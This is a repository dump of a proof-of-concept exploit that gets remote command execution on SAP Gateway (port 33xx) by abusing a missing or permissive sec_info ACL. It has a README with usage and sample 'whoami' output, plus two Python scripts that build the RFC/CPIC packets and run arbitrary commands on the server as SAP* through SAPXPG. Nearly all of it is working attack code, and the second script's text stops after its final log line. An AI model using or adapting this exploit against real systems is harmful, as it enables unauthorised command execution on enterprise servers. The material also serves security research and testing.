Repository: chipik/SAP_GW_RCE_exploit
Branch: master
Commit: 75a6984d48ff
Files: 5
Total size: 58.7 KB
Directory structure:
gitextract_1hwueb_5/
├── COPYING
├── README.md
├── SAPanonGWv1.py
├── SAPanonGWv2.py
└── requirements.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: COPYING
================================================
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================================================
FILE: README.md
================================================
## What is it?
This PoC exploits an ACL misconfiguration in the SAP Gateway (port
33xx) that leads to a Remote Command Execution (RCE).
`SAPanonGWv1.py` is the first version of the exploit based on raw
packets sent. It does not require any additional modules (Run and
Pwn!).
`SAPanonGWv2.py` is the second version of the exploit based on the
[pysap](https://github.com/SecureAuthCorp/pysap) library.
## Creds
These PoCs were developed by Dmitry [@_chipik](https://twitter.com/_chipik) Chastuhin
## How to use
```bash
➜python SAPanonGWv1.py -t 172.16.30.28 -p 3300 -c whoami
[*] sending cmd:whoami
n45adm
```
```bash
➜python SAPanonGWv2.py -t <ip> -p 3300 -c whoami
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_SEND
[INFO ] [+] Sending F_SAP_SEND2
n45adm
```
## Installation
Only for `SAPanonGWv2.p`
```
git clone https://github.com/gelim/pysap
pip install -r pysap/requirements.txt
python pysap/setup.py install
git clone https://github.com/chipik/SAP_GW_RCE_exploit
```
or
```
git clone https://github.com/chipik/SAP_GW_RCE_exploit
pip install -r SAP_GW_RCE_exploit/requirements.txt
```
## SAP GW ACL bypass
You can use these exploits together with [SAP MS Trusted](https://github.com/gelim/sap_ms) exploit that allows you to bypass dafault `sec_info` ACL
See our [presentation ](https://github.com/comaeio/OPCDE/blob/master/2019/Emirates/(SAP)%20Gateway%20to%20Heaven%20-%20Dmitry%20Chastuhin%2C%20Mathieu%20Geli/(SAP)%20Gateway%20to%20Heaven.pdf) for details
### Contributors
Contributions made by:
* Dmitry Chastuhin ([@_chipik](https://twitter.com/_chipik))
* Mathieu Geli ([@gelim](https://github.com/gelim))
================================================
FILE: SAPanonGWv1.py
================================================
#!/usr/bin/env python
# Dmitry @_chipik Chastuhin
# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04
# exploit for SAP GW. Works when sec_info file doesn't exist and when gw/acl_mode = 0
import argparse
import socket
import re
def parse_args():
parser = argparse.ArgumentParser(description='[*] Hello, welcome to SAP GW exploit...')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', required=True, type=int, default='3300',
help='Target GW port number.Default 3300')
parser.add_argument('-c', '--cmd', help='Command name')
parser.add_argument('-v', '--verb', action='store_true', default=0, help='Enable verbose')
parser.add_argument('-o', '--old', action='store_true', help='Use when version of the GW ~640')
args = parser.parse_args()
return args
# parse input
args = parse_args()
def convert_ip(ip_1, ch):
for i in range((30 - len(ip_1) * 2) / 2):
ip_1 = ip_1 + ch
return ip_1
def iptohex(ip):
octets = ip.split('.')
hex_octets = []
for octet in octets:
if int(octet) < 16:
hex_octets.append('0' + hex(int(octet))[2:])
else:
hex_octets.append(hex(int(octet))[2:])
hex_octets = ''.join(hex_octets)
return hex_octets.decode('hex')
def net_get_ip():
return [(s.connect(('8.8.8.8', 53)),
s.getsockname()[0],
s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
opt_ip = net_get_ip()
# some optional ip in the first packet
hex_ip = opt_ip
# some optional ip in the second packet
hex_ip2 = opt_ip
targ2 = '10.10.10.10'
targ2_size = chr(len(targ2))
targ1 = convert_ip(args.target, '\x00')
exploit_p = [
"\x00\x00\x00\x40\x02\x03" + iptohex(
hex_ip) + "\x00\x00\x00\x00\x73\x61\x70\x67\x77\x30\x31\x00\x00\x00\x34\x31\x30\x33\x00\x00\x00\x00\x00\x00\x73\x61\x70\x73\x65\x72\x76\x65\x73\x61\x70\x67\x77\x30\x31\x20\x20\x20\x20\x20\x20\x20\x20\x20\x06\x0b\xff\xff\x00\x00\x00\x00\x00\x00",
"\x00\x00\x01\xA4\x06\xCA\x03\x00\x00\x13\xFF\xFF\x00\x00\x01\x00\x00\x00\x00\x00\xC0\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x01\x54\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x5F\x37\x35\x20\x20\x20\x20\x31\x37\x32\x2E\x31\x36\x2E\x30\x73\x61\x70\x78\x70\x67\x20\x20\x45\x02\x00\x00\x00\x00\xFF\xFF\x60\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x00\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFE\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + targ1 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + iptohex(
hex_ip2) + "\x00\x00\x00\x00\x73\x61\x70\x78\x70\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00\x0A\x24\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x01\x00\x08\x01\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x03\x00\x04\x00\x00\x06\x1B\x01\x03\x01\x06\x00\x0B\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23\x01\x06\x00\x07\x00\x0F" + convert_ip(
targ2,
'\x20') + "\x00\x07\x00\x18\x00" + targ2_size + targ2 + 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def run_cmd(): # execute cmd on the victim server
print "[*] sending cmd:" + args.cmd
if args.old:
return RCE_gw_for_old_sustems() # via gateway for old systems
return RCE_gw() # via gateway
def RCE_gw(): # RCE via GW
c = args.cmd.split()
param = args.cmd[len(c[0]) + 1:]
cmd = c[0]
result = exploit(cmd, param)
if args.verb:
print "[DBG] Run command:" + cmd + " " + param
print "[*] Command result:" + trim_r(result)
return trim_r(result)
def RCE_gw_for_old_sustems(): # RCE via GW for old systems ~640
param = ""
result = exploit(args.cmd, param)
if args.verb:
print "[DBG] Run command:" + args.cmd + " " + param
print "[*] Command result:" + trim_r(result)
return trim_r(result)
def exploit(cmd, param): # create RCE request
tmp = exploit_p[2]
tmp1 = exploit_p[3]
tmp = tmp.replace("a" * 128, space_fill(cmd, 1)) # insert command
tmp = tmp.replace("b" * 255, space_fill(param, 2)) # insert param
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.target, args.port))
send_req(s, exploit_p[0])
conversation = re.search(ur"\d{8}", send_req(s, exploit_p[1]))
send_req(s, tmp.replace("93201875", conversation.group()))
result = send_req(s, tmp1.replace("93201875", conversation.group()))
s.close()
return result
def trim_r(str): # trim a trash form the server response
str_begin = str.find("\x02\x03\x04\x00") + 5
str_end = str.find("\x20\x03\x04\x03\x36")
if str_begin < 20:
if args.verb:
print "[!] Packet compression. Not supported."
return ''
if str_begin == -1:
print "[!] Problem with server response parsing."
print "[!] It's probably a size issue and server compressed it."
return ''
if str_end == -1:
print "[!] End marker not detected. Cutting at the end."
return str[str_begin:].replace('\x20\x03\x04\x03\x04\x00', '\n')
return str[str_begin:str_end].replace('\x20\x03\x04\x03\x04\x00', '\n')
def send_req(s, message): # send requests
MESSAGE = message
s.send(MESSAGE)
data = s.recv(8192)
if args.verb == 1:
print "[DBG] Received data:", data
return data
def space_fill(inpt, what): # fill packets by \x20
cmd_name_buff = 128
param_buff = 255
if what == 1: # cmd name
nop_cnt = cmd_name_buff - len(inpt)
inpt = inpt + nop_cnt * "\x20"
return inpt
elif what == 2: # param
nop_cnt = param_buff - len(inpt)
inpt = inpt + nop_cnt * "\x20"
return inpt
print run_cmd()
================================================
FILE: SAPanonGWv2.py
================================================
#!/usr/bin/env python
# Dmitry @_chipik Chastuhin
from pysap.SAPRFC import SAPRFC, SAPRFCDTStruct, SAPCPIC, SAPRFCTHStruct, SAPRFXPG, SAPCPICSUFFIX, cpic_padd, SAPCPICPARAM, SAPCPICPARAM2, SAPRFCEXTEND, SAPCPIC2, SAPRFXPG_END
from ansicolor import red, green, blue, yellow, cyan, magenta
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
from pysap.SAPDiag import SAPDiag, SAPDiagItem
from scapy.supersocket import StreamSocket
from scapy.layers.inet import TCP
from scapy.packet import bind_layers, Raw
from scapy.all import hexdump, raw
from scapy.config import conf
from struct import *
import argparse
import logging
import socket
import sys
help_desc = '''
RCE via SAP GW when GW ACL sec_info missed (gw/acl_mode = 0) or has insecure configuration
-- chipik
'''
#####GLOBAL VALUES
cmd_lparams=''
cmd_params=''
# that's our target we want to pwn
attacked_gw = {"ip": '127.0.0.1',
"gwport": 3300,
"sid": 'DEV',
"instance": '00',
"hostname": 'NW703trial',
"dest_name": 'T_75',
"cli_nbr": '001',
"kernel": '720'
}
##########
def build_p1(ip, inbr):
p1 = SAPRFC(version=2,
req_type='GW_NORMAL_CLIENT',
address=ip,
service='sapgw{}'.format(inbr),
codepage=4103,
lu='sapserve',
tp='sapgw{}'.format(inbr),
conversation_id=' ' * 8,
appc_header_version=6,
accept_info='EINFO+PING+CONN_EINFO',
idx=-1,
)
return p1
def build_p2():
dt_structure = SAPRFCDTStruct(version=96,
padd1='\x00\x00\x00\x00\x00\x00\x00\x00',
root_id='\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00',
conn_id='\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0',
conn_id_suff=0,
timeout=-1,
keepalive_timeout=-1,
export_trace=2,
start_type='DEFAULT',
net_protocol=10,
local_addrv6='::{}'.format(attacked_gw['ip']),
long_lu=attacked_gw['ip'],
padd3='\x00' * 16,
user='SAP*',
padd4='\x20' * 8,
padd5='\x00' * 4,
padd6='\x20' * 12,
padd7='\x00' * 16,
addr_ipv4=attacked_gw['ip'],
padd8='\x00' * 4,
long_tp='sapxpg',
)
ext_inf = SAPRFCEXTEND(short_dest_name=attacked_gw['dest_name'],
ncpic_lu='172.16.0',
ncpic_tp='sapxpg',
ctype='STARTED_PRG',
clientInfo=1,
ncpic_parameters_padd='\x00\x00',
comm_idx=0,
conn_idx=65535,
)
p2 = SAPRFC(version=6,
func_type='F_SAP_INIT',
protocol='CPIC',
mode=0,
uid=19,
gw_id=65535,
err_len=0,
info2='WITH_LONG_LU_NAME',
trace_level=0,
time=0,
info3='GW_EXTENDED_INIT_OPTIONS+GW_DIST_TRACE',
timeout=-1,
info4=0,
seq_no=0,
sap_param_len=len(dt_structure),
info='SYNC_CPIC_FUNCTION+WITH_HOSTADDR+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
padd_appc=0,
vector=0,
appc_rc='CM_OK',
sap_rc=0,
sap_ext_header =ext_inf,
sap_param=dt_structure,
)
#p2.show2()
return p2
def buld_p3(conv_id):
cpic_suf = SAPCPICSUFFIX(
suff_padd1='\x10\x04\x02',
suff_unk1='\x00\x01\x87\x68\x00\x00\x04\x4c\x00\x00\x0b\xb8',
suff_padd2='\x10\x04\x0b',
suff_unk2='\xff\x7f\xfa\x0d\x78\xb7\x27\xde\xf6\x19\x62\x93\x25\xbf\x15\x93\xef\x73\xfe\xeb\xdb\x51\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00',
suff_padd3='\x10\x04\x04',
suff_unk3='\x00\x16\x00\x07\x00\x10\x00\x07',
suff_padd4='\x10\x04\x0d',
suff_unk4='\x00\x00\x00\x27\x00\x00\x01\x0c\x00\x00\x00\x35\x00\x00\x01\x0c',
suff_padd5='\x10\x04\x16',
suff_unk5='\x00\x11',
suff_padd6='\x10\x04\x17',
suff_unk6='\x00\x22',
suff_padd7='\x10\x04\x19',
suff_unk7='\x00\x00',
suff_padd8='\x10\x04\x1e',
suff_unk8='\x00\x00\x03\x67\x00\x00\x07\x58',
suff_padd9='\x10\x04\x25',
suff_unk9='\x00\x01',
suff_padd10k='\x10\x04\x09',
suff_kernel=attacked_gw['kernel'],
suff_padd10='\x10\x04\x1d',
suff_unk10='\x30',
suff_padd11='\x10\x04\x1f',
suff_cli1='Windows 7 Professional 6.1 (7601) Servic',
suff_padd12='\x10\x04\x20',
suff_cli2='IE 9.10.9200.16618',
suff_padd13='\x10\x04\x21',
suff_cli3='Office 12',
suff_padd14='\x10\x04\x24',
suff_unk14='\x00\x00\x04\x1a\x00\x00\x07\x80',
suff_padd15='\x10\x04\x13',
suff_unk15='\x02\xe1\xd4\x81\xe3\x0b\x21\xf1\x01\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x01\x37\xd5\x81\xe3\x88\x9a\xf1\x6b\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x00',
)
xpg = SAPRFXPG(
xpg_padd100='\x05\x12\x02\x05',
xpg_convid_l='CONVID',
xpg_padd101='\x02\x05\x02\x05',
xpg_strstat_l='STRTSTAT',
xpg_padd102='\x02\x05\x02\x05',
xpg_xpgid_l='XPGID',
xpg_padd103='\x02\x05\x02\x01',
xpg_extprog_l='EXTPROG',
xpg_padd104='\x02\x01\x02\x03',
xpg_extprog_val='{: <128}'.format(cmd),
xpg_padd105='\x02\x03\x02\x01',
xpg_longparam_l='LONG_PARAMS',
xpg_padd106='\x02\x01\x02\x03',
xpg_longparam_val='{: <1024}'.format(cmd_lparams),
xpg_padd107='\x02\x03\x02\x01',
xpg_param_l='PARAMS',
xpg_padd108='\x02\x01\x02\x03',
xpg_param_val='{: <255}'.format(cmd_params),
xpg_padd109='\x02\x03\x02\x01',
xpg_stderrcntl_l='STDERRCNTL',
xpg_padd110='\x02\x01\x02\x03',
xpg_stderrcntl_val='M',
xpg_padd111='\x02\x03\x02\x01',
xpg_stdincntl_l='STDINCNTL',
xpg_padd112='\x02\x01\x02\x03',
xpg_stdincntl_val='R',
xpg_padd113='\x02\x03\x02\x01',
xpg_stdoutcntl_l='STDOUTCNTL',
xpg_padd114='\x02\x01\x02\x03',
xpg_stdoutcntl_val='M',
xpg_padd115='\x02\x03\x02\x01',
xpg_termcntl_l='TERMCNTL',
xpg_padd116='\x02\x01\x02\x03',
xpg_termcntl_val='C',
xpg_padd117='\x02\x03\x02\x01',
xpg_tracecntl_l='TRACECNTL',
xpg_padd118='\x02\x01\x02\x03',
xpg_tracecntl_val='6',
xpg_padd119='\x02\x03\x03\x01',
xpg_log_l='LOG',
xpg_padd120='\x03\x01\x03\x30',
xpg_log_val1='\x00\x00\x00\x01',
xpg_padd121='\x03\x30\x03\x02',
xpg_unk1='\x00\x00\x00\x80\x00\x00\x00\x00',
)
cpic_params = SAPCPICPARAM(
param1='\x00\x99\xd0\x1e',
param2='\xe3\xa0\xba\x9a\xec\xea\x55\x80\x0a\x4e\xd5',
param_sess_1='\x81\xe3', # session 1st part?
param_sess_2='\x09\xf6\xf1\x18', # session 2nd part?
mask='225.0.0.0',
ip= attacked_gw['ip'],
flag=1,
)
cpic_params2 = SAPCPICPARAM2( #dunno why this values
param1='\xe3\x81\xd5\x4e\xf6\x09\x19\xf1',
mask='160.10.0.12',
ip= '41.0.153.208',
)
th = SAPRFCTHStruct(
th_eyec1="*TH*",
th_version=3,
th_len=230,
th_trace_flag=0,
th_sysid='{}/{}_{}_{}'.format(attacked_gw["sid"], attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
th_serevice=1,
th_userid='SAP*',
th_action='SM49',
th_acttype=1,
th_presysid='{}/{}_{}_{}'.format(attacked_gw["sid"], attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
th_id='37D581E3889AF16DA00A000C290099D0001',
th_some_cpic_params=cpic_params,
th_eyec2="*TH*",
)
cpic = SAPCPIC(
cpic_start_padd='\x01\x01\x00\x08',
cpic_cpic_length=257,
cpic_padd0003="\x01\x01\x01\x01",
cpic_unk02="",
cpic_padd0002="\x01\x01\x01\x03",
cpic_unk01="\x00\x00\x06\x1b",
cpic_padd0001="\x01\x03\x01\x06",
cpic_unk00="\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23",
cpic_padd001="\x01\x06\x00\x07",
cpic_ip='{: <15}'.format(attacked_gw['ip']),
cpic_padd002 = '\x00\x07\x00\x18',
cpic_ip2=attacked_gw['ip'],
cpic_padd003 = '\x00\x18\x00\x08',
cpic_host_sid_inbr='{}_{}_{}'.format(attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
cpic_padd004 = '\x00\x08\x00\x11',
cpic_rfc_type='3',
cpic_padd005 = '\x00\x11\x00\x13',
cpic_kernel1 = '{} '.format(attacked_gw['kernel']),
cpic_padd006='\x00\x13\x00\x12',
cpic_kernel2='{} '.format(attacked_gw['kernel']),
cpic_padd007='\x00\x12\x00\x06',
cpic_dest=attacked_gw['dest_name'],
cpic_padd008='\x00\x06\x01\x30',
cpic_program='SAPLSSXP',
cpic_padd009='\x01\x30\x01\x11',
cpic_username1='SAP*',
cpic_padd010='\x01\x11\x01\x14',
cpic_cli_nbr1=attacked_gw['cli_nbr'],
cpic_padd011='\x01\x14\x01\x15',
cpic_unk1='E',
cpic_padd012='\x01\x15\x00\x09',
cpic_username2='SAP*',
cpic_padd013='\x00\x09\x01\x34',
cpic_cli_nbr2=attacked_gw['cli_nbr'],
cpic_padd014='\x01\x34\x05\x01',
cpic_unk2='\x01',
cpic_padd015_0='\x05\x01',# <----
cpic_padd015_1='\x01\x36',# <----
some_cpic_params=cpic_params,
cpic_padd016='\x01\x36\x05\x02',
cpic_convid_label='',
cpic_padd017='\x05\x02\x00\x0b',
cpic_kernel3=attacked_gw['kernel'],
cpic_padd018='\x00\x0b\x01\x02',
cpic_RFC_f='SAPXPG_START_XPG_LONG',
cpic_padd019='\x01\x02\x05\x03',
cpic_unk4='',
cpic_padd020='\x05\x03\x01\x31',
cpic_th_struct=th,
cpic_padd021='\x01\x31\x05\x14',
some_cpic_params2=cpic_params2,
cpic_padd022='\x05\x14\x04\x20',
cpic_unk6='\x00\x00\x00\x00',
cpic_padd023='\x04\x20\x05\x12',
cpic_unk7='',
xpg_p=xpg,
cpic_padd024='\x03\x02\x01\x04',
cpic_suff=cpic_suf,
cpic_end_padd = '\x01\x04\xff\xff',
cpic_end = '',
cpic_end_sig='\xff\xff\x00\x00',
)
p3 = SAPRFC(version=6,
func_type='F_SAP_SEND',
protocol='CPIC',
mode=0,
uid=19,
gw_id=1,
err_len=0,
info2=0,
trace_level=0,
time=0,
info3=0,
timeout=500,
info4=0,
seq_no=0,
sap_param_len=8,
padd_appc=0,
info='SYNC_CPIC_FUNCTION+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
vector='F_V_SEND_DATA+F_V_RECEIVE',
appc_rc='CM_OK',
sap_rc=0,
conv_id=conv_id,
cm_ok_padd='\x00'*31 + '\x02',
sap_cpic=cpic,
cpic_packet_size=len(cpic),
rfc_packet_size=28000,
)
#p3.show2()
return p3
def buld_p4(conv_id):
cpic_params = SAPCPICPARAM(
param1='\x00\x99\xd0\x1e',
param2='\xe3\xa0\xba\x9a\xec\xea\x55\x80\x0a\x4e\xd5',
param_sess_1='\x81\xe3', # session 1st part?
param_sess_2='\x09\xf6\xf1\x18', # session 2nd part?
mask='160.10.0.12',
ip= '41.0.153.208',
flag=2,
)
cpic_params2 = SAPCPICPARAM2( #dunno why this values
param1='\xe3\x81\xd5\x4e\xf6\x09\x19\xf1',
mask='160.10.0.12',
ip= '41.0.153.208',
)
sap_xpg_end = SAPRFXPG_END(
xpg_end_padd001='\x05\x12\x02\x05',
xpg_end_ecode_l='EXITCODE',
xpg_end_padd002 = '\x02\x05\x02\x05',
xpg_end_estat_l = 'STRTSTAT',
xpg_end_padd003 = '\x02\x05\x03\x01',
xpg_end_log_l = 'LOG',
xpg_end_padd004= '\x03\x01\x03\x30',
xpg_end_unk1 = '\x00\x00\x00\x01',
xpg_end_padd005 = '\x03\x30\x03\x02',
xpg_end_unk2 = '\x00\x00\x00\x80\x00\x00\x00\x00',
)
cpic_suf = SAPCPICSUFFIX(
suff_padd1='\x10\x04\x02',
suff_unk1='\x00\x01\x87\x68\x00\x00\x04\x4c\x00\x00\x0b\xb8',
suff_padd2='\x10\x04\x0b',
suff_unk2='\xff\x7f\xfa\x0d\x78\xb7\x27\xde\xf6\x19\x62\x93\x25\xbf\x15\x93\xef\x73\xfe\xeb\xdb\x51\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00',
suff_padd3='\x10\x04\x04',
suff_unk3='\x00\x16\x00\x07\x00\x10\x00\x07',
suff_padd4='\x10\x04\x0d',
suff_unk4='\x00\x00\x00\x27\x00\x00\x01\x0c\x00\x00\x00\x35\x00\x00\x01\x0c',
suff_padd5='\x10\x04\x16',
suff_unk5='\x00\x11',
suff_padd6='\x10\x04\x17',
suff_unk6='\x00\x22',
suff_padd7='\x10\x04\x19',
suff_unk7='\x00\x00',
suff_padd8='\x10\x04\x1e',
suff_unk8='\x00\x00\x03\x67\x00\x00\x07\x58',
suff_padd9='\x10\x04\x25',
suff_unk9='\x00\x01',
suff_padd10k='\x10\x04\x09',
suff_kernel=attacked_gw['kernel'],
suff_padd10='\x10\x04\x1d',
suff_unk10='\x30',
suff_padd11='\x10\x04\x1f',
suff_cli1='Windows 7 Professional 6.1 (7601) Servic',
suff_padd12='\x10\x04\x20',
suff_cli2='IE 9.10.9200.16618',
suff_padd13='\x10\x04\x21',
suff_cli3='Office 12',
suff_padd14='\x10\x04\x24',
suff_unk14='\x00\x00\x04\x1a\x00\x00\x07\x80',
suff_padd15='\x10\x04\x13',
suff_unk15='\x02\xe1\xd4\x81\xe3\x0b\x21\xf1\x01\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x01\x37\xd5\x81\xe3\x88\x9a\xf1\x6b\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x00',
)
cpic2 = SAPCPIC2(
cpic_padd015_1='\x01\x36',
some_cpic_params=cpic_params,
cpic_padd016='\x01\x36\x05\x02',
cpic_convid_label='',
cpic_padd017='\x05\x02\x00\x0b',
cpic_kernel3=attacked_gw['kernel'],
cpic_padd018 = '\x00\x0b\x01\x02',
cpic_RFC_f='SAPXPG_END_XPG',
cpic_padd019='\x01\x02\x05\x03',
cpic_unk4='',
cpic_padd021='\x05\x03\x05\x14',
some_cpic_params2=cpic_params2,
cpic_padd022='\x05\x14\x04\x20',
cpic_unk6='\x00\x00\x00\x00',
cpic_padd023='\x04\x20\x05\x12',
cpic_unk7='',
xpg_end = sap_xpg_end,
cpic_padd024='\x03\x02\x01\x04',
cpic_suff=cpic_suf,
cpic_end_padd='\x01\x04\xff\xff',
cpic_end='',
cpic_end_sig='\xff\xff\x00\x00',
)
p4 = SAPRFC(version=6,
func_type='F_SAP_SEND',
protocol='CPIC',
mode=0,
uid=19,
gw_id=1,
err_len=0,
info2=0,
trace_level=0,
time=0,
info3=0,
timeout=500,
info4=0,
seq_no=0,
sap_param_len=8,
padd_appc=0,
info='SYNC_CPIC_FUNCTION+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
vector='F_V_SEND_DATA+F_V_RECEIVE',
appc_rc='CM_OK',
sap_rc=0,
conv_id=conv_id,
cm_ok_padd='\x00' * 31 + '\x02',
sap_cpic_cut=cpic2,
cpic_packet_size=len(cpic2),
rfc_packet_size=28000,
)
#p4.show2()
return p4
def print_error(error_msg):
err = error_msg.split('\x00')
print 'Got Error!'
print 'LOCATION: {}\n' \
'ERROR: {}\n' \
'TIME: {}\n' \
'RELEASE: {}\n' \
'COMPONENT: {}\n' \
'VERSION: {}\n' \
'RC: {}\n' \
'MODULE: {}\n' \
'LINE: {}\n' \
'DETAILS: {}\n' \
'COUNTER: {}\n'.format(err[15], err[2], err[10], err[5], err[4], err[6], err[3], err[7], err[8], err[9],
err[14])
def gw_connect(gwhost, gwport, init_packet):
try:
s = SAPNIStreamSocket.get_nisocket(gwhost, gwport)
except socket.error:
logger.error("[!] Connection error to %s:%s" % (gwhost, gwport))
exit(-1)
logger.info('[+] Sending GW_NORMAL_CLIENT')
r = s.sr(init_packet)
handle_resp(r, "GW_NORMAL_CLIENT")
return s
def init_logger(logname, level):
# generic log conf
logger = logging.getLogger(logname)
logger.setLevel(level)
console_format = logging.Formatter("[%(levelname)-5s] %(message)s")
# console handler
ch = logging.StreamHandler(sys.stdout)
ch.setLevel(level)
ch.setFormatter(console_format)
logger.addHandler(ch)
return logger
def handle_resp(r, pkt):
logger.debug('Response on {}:\n{}'.format(pkt, r.show(dump=True)))
if r[SAPRFC].error_msg:
print_error(r[SAPRFC].error_msg)
else:
logger.info('Response: OK')
def parse_fields(pkt, lines):
result=[]
logger.debug("Starting decompression")
d = SAPDiag()
(sig, compressed_len) = unpack('>4sI', pkt[0:8])
(uncompressed_len,) = unpack('<I', pkt[8:12])
logger.debug("sig = {}, compressed_len = {}, uncompressed_len = {}".format(sig, compressed_len, uncompressed_len))
rez=d.do_decompress(pkt[8:compressed_len],uncompressed_len)
for i in range(lines):
result.append(rez[128 * i:128 * i + 128])
return result
def parce_answer(r):
resp_lines=0
resp_start=0
resp_type = 0 # if more than 62 lines than sap use compression
for field in r.repl:
if field.start_padd == '\x03\x35\x03\x02':
resp_lines=unpack('>i',r.repl[7].start_field1[4:])[0]
resp_start=r.repl.index(field)+1
if r.repl[resp_start].start_padd[2:] == '\x03\x05':
resp_type = 'compressed'
elif r.repl[resp_start].start_padd[2:] == '\x03\x04':
resp_type = 'raw'
else:
print '[!] Error. Wrong resp_type'
break
logger.debug('Response parameters:\nlines = {}\ntype = {}\n'.format(resp_lines, resp_type))
if not resp_lines and not resp_type:
print '[!] Error. resp_lines = 0 or resp_type = 0'
exit(0)
result = []
for resp in r.repl[resp_start:]:
if resp.start_padd[2:] == '\x03\x05' or resp.start_padd[2:] == '\x03\x04':
result.append(resp.start_field1)
if resp_type == 'compressed':
result=parse_fields(''.join(result),resp_lines)
return '\n'.join(result)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-t', '--ip', default='172.16.30.118', help='AS victim IP (default: 172.16.30.118)')
parser.add_argument('-p', '--port', default=3300, type=int, help='SAP gateway port (default: 3300)')
parser.add_argument('-s', '--sid', default='CL1', help='SAP victim SID (default: CL1)')
parser.add_argument('-I', '--instance', default='00', help='SAP victim targeted instance (default: 00)')
parser.add_argument('-c', '--cmd', default='whoami', help='Command that be executed')
parser.add_argument('-d', '--debug', action='store_true', help='Show debug info')
parser.add_argument('-q', '--quiet', action='store_true', help='Don\'t show any info messages')
args = parser.parse_args()
prog = 'anonGW2'
if args.quiet:
logger = init_logger(prog, logging.NOTSET)
elif args.debug:
logger = init_logger(prog, logging.DEBUG)
else:
logger = init_logger(prog, logging.INFO)
# setup our target
attacked_gw['ip'] = args.ip
attacked_gw['port'] = args.port
attacked_gw['sid'] = args.sid
attacked_gw['instance'] = args.instance
cmd = args.cmd.split()[0]
cmd_params = args.cmd[len(cmd) + 1:]
conf.L3Socket = StreamSocket
bind_layers(TCP, SAPNI)
bind_layers(SAPNI, SAPRFC)
# 1 - send GW_NORMAL_CLIENT
s = gw_connect(attacked_gw['ip'], attacked_gw['port'], build_p1(attacked_gw['ip'], attacked_gw['instance']))
# 2 - send F_SAP_INIT
logger.info("[+] Sending F_SAP_INIT")
r = s.sr(build_p2())
handle_resp(r, "F_SAP_INIT")
conv_id = r['SAPRFC'].conv_id
logger.debug('Got conv_id = {}'.format(conv_id))
# 3 - send F_SAP_SEND
logger.info("[+] Sending F_SAP_SEND")
r = s.sr(buld_p3(conv_id))
#handle_resp(r, "F_SAP_SEND")
# 4 - send F_SAP_SEND2
logger.info("[+] Sending F_SAP_SEND2")
